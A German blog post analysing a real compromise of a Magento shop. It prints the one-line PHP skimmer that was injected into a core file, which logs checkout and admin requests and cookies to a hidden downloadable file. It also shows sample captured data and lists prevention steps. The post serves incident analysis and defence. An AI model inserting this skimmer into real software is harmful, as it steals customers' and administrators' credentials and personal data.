Security 7.1.2016

Anatomie eines Datendiebstahls in Magento

Im vergangenen Jahr gab es wiederholt Schlagzeilen zur Sicherheit von Magento, da unterschiedliche Sicherheitslücken aufgedeckt und behoben wurden. Was passieren kann, wenn durch eine Sicherheitslücke oder andere Wege Unberechtigte Zugriff auf das Online-Shop-System erhalten, durften wir nun selbst untersuchen. Dieser Fall ist für uns ein lehrreiches Beispiel, wie Hacker vorgehen. Denn auch wenn man theoretisch die möglichen Anwendungsbeispiele eines Hacks im Hinterkopf hat, ist es doch noch etwas anderes, wenn man sie praktisch angewendet in einem Shop sieht.

Die Diagnose

Für einen Kunden sollte ein Magento-Shop analysiert werden, wobei der Fokus auf Softwarequalität, Best Practices, Updatefähigkeit und Sicherheit lag. Es handelt sich um eine Magento Enterprise Edition in der Version 1.14.0.1, bei der alle Sicherheitspatches eingespielt waren. Bei der Prüfung auf Core-Hacks haben wir die Dateien des Shops auf Änderungen mit den Originaldateien von Magento verglichen. Dabei ist aufgefallen, dass in der Datei lib/Varien/Object.php eine zusätzliche Zeile am Anfang der Datei eingefügt war:
<?php if(preg_match("/checkout|admin/", $_SERVER["REQUEST_URI"])){
@file_put_contents(realpath("./")."/media/cache_6e0a3279d0cb2fbd9979b7d53ee065da", 
@base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?>
Diese Codezeile macht folgendes:
  • Erfassen aller Requests, bei denen entweder "admin" oder "checkout" in der URL vorkommt
  • Speichern des kompletten Requests inkl. aller Parameter (z.B. vom Benutzer ausgefüllte Eingabefelder)
  • Kodieren der Requests und an die Datei cache_6e0a3279d0cb2fbd9979b7d53ee065da im Verzeichnis /media/ anhängen.
Von dort kann die Datei mit einem simplen Browser abgerufen und heruntergeladen werden. Gleichzeitig sind Name und Verzeichnis der Datei so gewählt, dass sie demjenigen, der zufällig auf dem Server darüber stolpert, üblicherweise nicht auffällt. Der Inhalt der Datei sieht kryptisch aus, ist mit Kenntnis der verwendeten Methodik aber einfach zu entschlüsseln. Der Inhalt sieht beispielsweise wie folgt aus:
Array
(
    [billing] => Array
        (
            [address_id] =>
            [firstname] => Susanne
            [lastname] => Mustermann
            [company] =>
            [email] => susanne.mustermann@gmx.at
            [street] => Array
                (
                    [0] => Musterstrasse 1
                )
        [city] =&gt; Wien
        [region_id] =&gt;
        [region] =&gt;
        [postcode] =&gt; 1110
        [country_id] =&gt; AT
        [telephone] =&gt; 012345678
        [fax] =&gt;
        [customer_password] =&gt; xxxxxxx
        [confirm_password] =&gt; xxxxxxx
        [save_in_address_book] =&gt; 1
        [use_for_shipping] =&gt; 1
    )

)

Wie man sieht, befinden sich in den gespeicherten Daten komplette Kundendaten inklusive Passwörtern. Genauer:

  • Passwörter aller Admins, die sich eingeloggt haben
  • Kundendaten wie Name, Email, Adresse, Telefonnummer
  • Passwörter der Kunden, die sich im Checkout registriert oder eingeloggt haben
  • Geburtsdatum der Kunden, die über einen Rechungsservice gekauft haben
Dies ist besonders kritisch, da viele Kunden für mehrere Dienste die gleiche Kombination aus E-Mail-Adresse und Passwort verwenden. Unter den gespeicherten Daten lassen sich mit Sicherheit einige auch zum Login in Dienste wie PayPal nutzen.

Die Infektion

Die ersten Kundendaten stammten vom 25.05.2015, die Infektion wurde am 16.12. entdeckt (und natürlich sofort entfernt). Es wurden also über ein halbes Jahr Kundendaten und Admin-Passwörter mitgeschnitten.

Die genaue Art des Angriffs konnte leider nicht festgestellt werden. Folgende Angriffswege sind möglich:

  • Ausnutzen einer zu spät geschlossenen Sicherheitslücke in Magento
  • Ausnutzen einer von Magento unabhängigen Sicherheitslücke, also in einer anderen auf dem gleichen Server laufenden Software
  • Missbrauch von Zugriffsrechten von Service-Mitarbeitern von Modulherstellern o.ä., z.B. zur Installation oder zur Fehlersuche

Prävention

Wie kann man solche Angriffe effektiv abwehren? Spontan fallen mir hier mehrere Optionen ein:
  • Anpassung der Zugriffsrechte des Web-Benutzers auf dem Server, sodass dieser keinen Code mehr modifizieren kann
  • Direktes Einspielen von Sicherheitspatches, die von Magento veröffentlicht werden, sowie von Updates in Systemsoftware (z.B. PHP)
  • Automatisierte, regelmäßige Prüfung auf Abweichungen des ausgespielten Quellcodes gegenüber dem Repository
  • Ausschließen, dass externe Dienstleister per SSH oder FTP auf den Quellcode schreibend zugreifen können
  • Allgemeine Maßnahmen wie das Sperren des "downloader"-Verzeichnisses und das Umbenennen / Absichern des "admin"-Verzeichnisses
  • Regelmäßige Prüfung mit MageReport.com
Es gilt also das übliche Prinzip der Vorsorge durch zeitnahes Aktualisieren der Software sowie ein Einspielen verfügbarer Patches. Außerdem sollten alle am Projekt Beteiligten für die Begrenzung von Zugriffsrechten sensibilisiert werden. Als Kontrolle ist ein wie in diesem Fall durchgeführter Abgleich der Shop-Dateien mit den Originaldateien von Magento ratsam. Dann können sich Shop-Betreiber und Kunden darauf verlassen, dass ihre Daten sicher sind.